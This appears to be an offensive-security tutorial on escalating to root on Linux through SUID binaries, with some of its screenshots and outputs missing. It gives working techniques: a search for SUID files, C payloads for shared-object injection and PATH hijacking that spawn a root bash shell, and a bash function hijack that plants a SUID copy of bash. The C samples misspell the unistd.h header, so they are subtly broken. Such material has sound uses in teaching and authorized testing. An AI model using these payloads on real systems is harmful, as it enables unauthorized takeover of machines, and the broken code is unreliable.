The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command:
find / -perm -u=s -type f -user root 2>/dev/null
You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins.
In the above example, we find that /bin/systemctl
has the SUID bit set and that it also has an entry in GTFOBins:
By following the instructions, although with slight modifications, we can run commands with elevated privileges:
Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD, but it is a bit more difficult to find and exploit.
You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case:
It is always good practice to run the programme with strace
, which will print any attempts of the binary to access libraries:
strace <binary> 2>&1 | grep -iE "open|access"
What stands out in particular is the /home/user/.config/libcalc.so
library, since /home/user/.config/
may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/
which means that we can create it.
What now remains is to compile a malicious library into libcalc.so
.
#include <uinstd.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash -i");
}
For older versions of GCC, you may need to use the _init()
function syntax:
#include <uinstd.h>
#include <stdlib.h>
void _init()
{
setuid(0);
setgid(0);
system("/bin/bash -i");
}
Compile the malicious library:
gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()
Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \$PATH
, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones.
This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings
on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.
Relative paths are comparably easy to hijack - they require little other than editing the \$PATH
variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \$PATH
a directory which will contain an executable with the same name as the one originally invoked.
Let's compile our own malicious binary.
#include <uinstd.h>
#include <stdlib.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash -i");
return 0;
}
gcc -o /tmp/service /tmp/service.c
Afterwards, we need to prepend /tmp
to the \$PATH
variable:
export PATH=/tmp:\$PATH
And finally, run the original SUID binary:
Absolute paths require a bit more work to be hijacked.
Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/
) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme.
First, create the bash function:
function <absolute path here>() { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; }
Next, export the function:
export -f <absolute path here>
Finally, run the original SUID binary: